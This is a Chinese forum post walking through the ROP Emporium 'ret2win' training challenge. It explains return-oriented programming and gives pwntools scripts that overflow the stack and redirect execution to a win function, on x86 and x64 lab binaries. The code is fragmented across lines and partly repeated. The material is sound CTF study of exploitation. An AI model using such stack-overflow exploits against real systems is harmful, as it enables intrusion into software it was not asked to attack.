-
-
[原创]ROP Emporium(一) ret2win
-
发表于:
2021-1-6 10:27
10259
-
[原创]ROP Emporium(一) ret2win
ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
简单说一下,ROP Emporium 是通过一系列ROP(Return-oriented programming)相关的题目挑战来学习ROP,同时尽量减少反向工程或错误查找。
该项目同时提供了Beginners' Guide : https://ropemporium.com/guide.html
该项目共提供了七道题,难度跨度从ret2text到ret2csu。每一道题提供了四种架构包括x86、x64、arm和mips,我将会记录x86和x64解题过程。
未开启栈溢出保护
func main:
调用了pwnme()
func pwnme:
继续看,看到func ret2win:
基本思路明确,利用栈溢出覆盖返回地址,将返回地址修改成ret2win
的地址就可以
结构和32位的一样,payload需要重新设定偏移,并且将p32改成p64
payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)
from
pwn
import
*
p
=
process(
"./ret2win32"
)
payload
=
"\x00"
*
0x28
+
p32(
0xdeadbeef
)
+
p32(
0x804862C
)
p.sendline(payload)
p.interactive()
from
pwn
import
*
p
=
process(
"./ret2win32"
)
payload
=
"\x00"
*
0x28
+
p32(
0xdeadbeef
)
+
p32(
0x804862C
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!